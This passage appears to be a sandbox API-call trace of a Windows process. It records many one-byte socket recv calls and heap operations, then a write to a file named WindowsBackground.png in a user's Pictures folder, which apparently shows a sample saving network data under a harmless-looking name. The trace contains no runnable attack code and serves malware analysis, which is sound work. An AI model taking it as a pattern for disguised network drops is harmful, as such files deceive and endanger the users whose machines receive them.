GetCurrentThreadId () returned 0x9b0 [0110.971] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.971] GetCurrentThreadId () returned 0x9b0 [0110.971] GetCurrentThreadId () returned 0x9b0 [0110.971] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810d8 [0110.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0110.971] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.972] GetCurrentThreadId () returned 0x9b0 [0110.972] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.972] GetCurrentThreadId () returned 0x9b0 [0110.972] GetCurrentThreadId () returned 0x9b0 [0110.972] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e81f0 [0110.972] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.972] GetCurrentThreadId () returned 0x9b0 [0110.972] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.972] GetCurrentThreadId () returned 0x9b0 [0110.972] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.972] GetCurrentThreadId () returned 0x9b0 [0110.973] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.973] GetCurrentThreadId () returned 0x9b0 [0110.973] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.973] GetCurrentThreadId () returned 0x9b0 [0110.973] GetCurrentThreadId () returned 0x9b0 [0110.973] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.973] GetCurrentThreadId () returned 0x9b0 [0110.973] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.973] GetCurrentThreadId () returned 0x9b0 [0110.973] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.973] GetCurrentThreadId () returned 0x9b0 [0110.973] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.974] GetCurrentThreadId () returned 0x9b0 [0110.974] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.974] GetCurrentThreadId () returned 0x9b0 [0110.974] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.974] GetCurrentThreadId () returned 0x9b0 [0110.974] GetCurrentThreadId () returned 0x9b0 [0110.974] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.974] GetCurrentThreadId () returned 0x9b0 [0110.974] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.974] GetCurrentThreadId () returned 0x9b0 [0110.974] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.975] GetCurrentThreadId () returned 0x9b0 [0110.975] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.975] GetCurrentThreadId () returned 0x9b0 [0110.975] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.975] GetCurrentThreadId () returned 0x9b0 [0110.975] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.975] GetCurrentThreadId () returned 0x9b0 [0110.975] GetCurrentThreadId () returned 0x9b0 [0110.975] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.975] GetCurrentThreadId () returned 0x9b0 [0110.975] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.975] GetCurrentThreadId () returned 0x9b0 [0110.976] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.976] GetCurrentThreadId () returned 0x9b0 [0110.976] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.976] GetCurrentThreadId () returned 0x9b0 [0110.976] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.976] GetCurrentThreadId () returned 0x9b0 [0110.976] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.976] GetCurrentThreadId () returned 0x9b0 [0110.976] GetCurrentThreadId () returned 0x9b0 [0110.976] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.976] GetCurrentThreadId () returned 0x9b0 [0110.977] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.977] GetCurrentThreadId () returned 0x9b0 [0110.977] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.977] GetCurrentThreadId () returned 0x9b0 [0110.977] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.977] GetCurrentThreadId () returned 0x9b0 [0110.977] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.977] GetCurrentThreadId () returned 0x9b0 [0110.977] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.977] GetCurrentThreadId () returned 0x9b0 [0110.977] GetCurrentThreadId () returned 0x9b0 [0110.977] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.978] GetCurrentThreadId () returned 0x9b0 [0110.978] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.978] GetCurrentThreadId () returned 0x9b0 [0110.978] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.978] GetCurrentThreadId () returned 0x9b0 [0110.978] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.978] GetCurrentThreadId () returned 0x9b0 [0110.978] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.978] GetCurrentThreadId () returned 0x9b0 [0110.978] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.978] GetCurrentThreadId () returned 0x9b0 [0110.978] GetCurrentThreadId () returned 0x9b0 [0110.979] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.979] GetCurrentThreadId () returned 0x9b0 [0110.979] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.979] GetCurrentThreadId () returned 0x9b0 [0110.979] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.979] GetCurrentThreadId () returned 0x9b0 [0110.979] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.979] GetCurrentThreadId () returned 0x9b0 [0110.979] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.979] GetCurrentThreadId () returned 0x9b0 [0110.979] GetCurrentThreadId () returned 0x9b0 [0110.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881150, Size=0x20) returned 0x30282d8 [0110.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8850 [0110.980] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.980] GetCurrentThreadId () returned 0x9b0 [0110.980] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.980] GetCurrentThreadId () returned 0x9b0 [0110.980] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.980] GetCurrentThreadId () returned 0x9b0 [0110.980] GetCurrentThreadId () returned 0x9b0 [0110.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881210 [0110.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881210 | out: hHeap=0x2ad0000) returned 1 [0110.980] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.981] GetCurrentThreadId () returned 0x9b0 [0110.981] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.981] GetCurrentThreadId () returned 0x9b0 [0110.981] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.981] GetCurrentThreadId () returned 0x9b0 [0110.981] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.981] GetCurrentThreadId () returned 0x9b0 [0110.981] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.981] GetCurrentThreadId () returned 0x9b0 [0110.981] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.981] GetCurrentThreadId () returned 0x9b0 [0110.981] GetCurrentThreadId () returned 0x9b0 [0110.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0110.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.982] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.982] GetCurrentThreadId () returned 0x9b0 [0110.982] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.982] GetCurrentThreadId () returned 0x9b0 [0110.982] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.982] GetCurrentThreadId () returned 0x9b0 [0110.982] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.982] GetCurrentThreadId () returned 0x9b0 [0110.982] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.983] GetCurrentThreadId () returned 0x9b0 [0110.983] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.983] GetCurrentThreadId () returned 0x9b0 [0110.983] GetCurrentThreadId () returned 0x9b0 [0110.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0110.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0110.983] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.983] GetCurrentThreadId () returned 0x9b0 [0110.983] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.983] GetCurrentThreadId () returned 0x9b0 [0110.983] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.983] GetCurrentThreadId () returned 0x9b0 [0110.984] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.984] GetCurrentThreadId () returned 0x9b0 [0110.984] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.984] GetCurrentThreadId () returned 0x9b0 [0110.984] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.984] GetCurrentThreadId () returned 0x9b0 [0110.984] GetCurrentThreadId () returned 0x9b0 [0110.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881120 [0110.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881120 | out: hHeap=0x2ad0000) returned 1 [0110.984] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.984] GetCurrentThreadId () returned 0x9b0 [0110.984] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.985] GetCurrentThreadId () returned 0x9b0 [0110.985] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.985] GetCurrentThreadId () returned 0x9b0 [0110.985] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.985] GetCurrentThreadId () returned 0x9b0 [0110.985] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.985] GetCurrentThreadId () returned 0x9b0 [0110.985] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.985] GetCurrentThreadId () returned 0x9b0 [0110.985] GetCurrentThreadId () returned 0x9b0 [0110.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881018 [0110.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881018 | out: hHeap=0x2ad0000) returned 1 [0110.986] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.986] GetCurrentThreadId () returned 0x9b0 [0110.986] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.986] GetCurrentThreadId () returned 0x9b0 [0110.986] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.986] GetCurrentThreadId () returned 0x9b0 [0110.986] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.986] GetCurrentThreadId () returned 0x9b0 [0110.986] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.986] GetCurrentThreadId () returned 0x9b0 [0110.987] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.987] GetCurrentThreadId () returned 0x9b0 [0110.987] GetCurrentThreadId () returned 0x9b0 [0110.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0110.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0110.987] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.987] GetCurrentThreadId () returned 0x9b0 [0110.987] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.987] GetCurrentThreadId () returned 0x9b0 [0110.987] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.987] GetCurrentThreadId () returned 0x9b0 [0110.987] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.988] GetCurrentThreadId () returned 0x9b0 [0110.988] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.988] GetCurrentThreadId () returned 0x9b0 [0110.988] GetCurrentThreadId () returned 0x9b0 [0110.988] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.988] GetCurrentThreadId () returned 0x9b0 [0110.988] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.988] GetCurrentThreadId () returned 0x9b0 [0110.988] GetCurrentThreadId () returned 0x9b0 [0110.988] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.988] GetCurrentThreadId () returned 0x9b0 [0110.989] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.989] GetCurrentThreadId () returned 0x9b0 [0110.989] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.989] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.989] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.989] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.989] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.989] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.989] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.989] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.990] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.991] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.992] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.993] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.994] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x3887578 [0110.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8d18 [0110.994] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Pictures\\WindowsBackground.png" (normalized: "c:\\users\\fd1hvy\\pictures\\windowsbackground.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb298, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8 [0110.996] GetFileType (hFile=0x3a8) returned 0x1 [0110.996] GetFileType (hFile=0x3a8) returned 0x1 [0110.996] GetFileInformationByHandle (in: hFile=0x3a8, lpFileInformation=0x9bb314 | out: lpFileInformation=0x9bb314) returned 1 [0110.997] FileTimeToLocalFileTime (in: lpFileTime=0x9bb328, lpLocalFileTime=0x9bb358 | out: lpLocalFileTime=0x9bb358) returned 1 [0110.997] FileTimeToSystemTime (in: lpFileTime=0x9bb358, lpSystemTime=0x9bb348 | out: lpSystemTime=0x9bb348) returned 1 [0110.997] FileTimeToLocalFileTime (in: lpFileTime=0x9bb320, lpLocalFileTime=0x9bb358 | out: lpLocalFileTime=0x9bb358) returned 1 [0110.997] FileTimeToSystemTime (in: lpFileTime=0x9bb358, lpSystemTime=0x9bb348 | out: lpSystemTime=0x9bb348) returned 1 [0110.997] FileTimeToLocalFileTime (in: lpFileTime=0x9bb318, lpLocalFileTime=0x9bb358 | out: lpLocalFileTime=0x9bb358) returned 1 [0110.997] FileTimeToSystemTime (in: lpFileTime=0x9bb358, lpSystemTime=0x9bb348 | out: lpSystemTime=0x9bb348) returned 1 [0110.997] GetLastError () returned 0x0 [0110.997] GetLastError () returned 0x0 [0110.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0110.997] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0110.997] GetLastError () returned 0x0 [0110.997] GetLastError () returned 0x0 [0110.998] GetLastError () returned 0x0 [0110.998] GetLastError () returned 0x0 [0110.998] GetLastError () returned 0x0 [0110.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e90d0 | out: hHeap=0x2ad0000) returned 1 [0110.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0110.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0110.998] GetLastError () returned 0x0 [0111.001] GetLastError () returned 0x0 [0111.001] GetLastError () returned 0x0 [0111.002] GetLastError () returned 0x0 [0111.002] GetLastError () returned 0x0 [0111.002] GetLastError () returned 0x0 [0111.002] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31cf330, Size=0x174a) returned 0x31cf330 [0111.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812b8 [0111.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812b8 | out: hHeap=0x2ad0000) returned 1 [0111.002] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e8410, Size=0x1736) returned 0x38273e0 [0111.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0111.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8e0) returned 0x382cb08 [0111.002] GetLastError () returned 0x0 [0111.057] GetLastError () returned 0x0 [0111.057] GetLastError () returned 0x0 [0111.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810a8 | out: hHeap=0x2ad0000) returned 1 [0111.057] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38273e0, Size=0x2e6c) returned 0x38273e0 [0111.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb08 | out: hHeap=0x2ad0000) returned 1 [0111.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2015) returned 0x31cf330 [0111.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0111.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0111.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0111.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0111.058] GetLastError () returned 0x0 [0111.058] GetLastError () returned 0x0 [0111.058] GetLastError () returned 0x0 [0111.058] GetLastError () returned 0x0 [0111.058] GetLastError () returned 0x0 [0111.058] GetLastError () returned 0x0 [0111.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e89e8 | out: hHeap=0x2ad0000) returned 1 [0111.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf330 | out: hHeap=0x2ad0000) returned 1 [0111.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0111.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0111.059] GetLastError () returned 0x0 [0111.060] GetLastError () returned 0x0 [0111.060] GetLastError () returned 0x0 [0111.060] GetLastError () returned 0x0 [0111.060] GetLastError () returned 0x0 [0111.060] GetLastError () returned 0x0 [0111.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8d18 | out: hHeap=0x2ad0000) returned 1 [0111.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0111.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881030 [0111.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881030 | out: hHeap=0x2ad0000) returned 1 [0111.061] GetLastError () returned 0x0 [0111.061] GetLastError () returned 0x0 [0111.061] GetLastError () returned 0x0 [0111.061] GetLastError () returned 0x0 [0111.061] GetLastError () returned 0x0 [0111.061] GetLastError () returned 0x0 [0111.061] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33055a0, Size=0x353) returned 0x33055a0 [0111.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810d8 [0111.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0111.061] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e86b8, Size=0x33f) returned 0x33f3a78 [0111.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33055a0 | out: hHeap=0x2ad0000) returned 1 [0111.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1cd7) returned 0x33055a0 [0111.062] GetLastError () returned 0x0 [0111.191] GetLastError () returned 0x0 [0111.192] GetLastError () returned 0x0 [0111.192] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33055a0, Size=0x31f) returned 0x33055a0 [0111.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881168 [0111.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0111.192] RtlReAllocateHeap 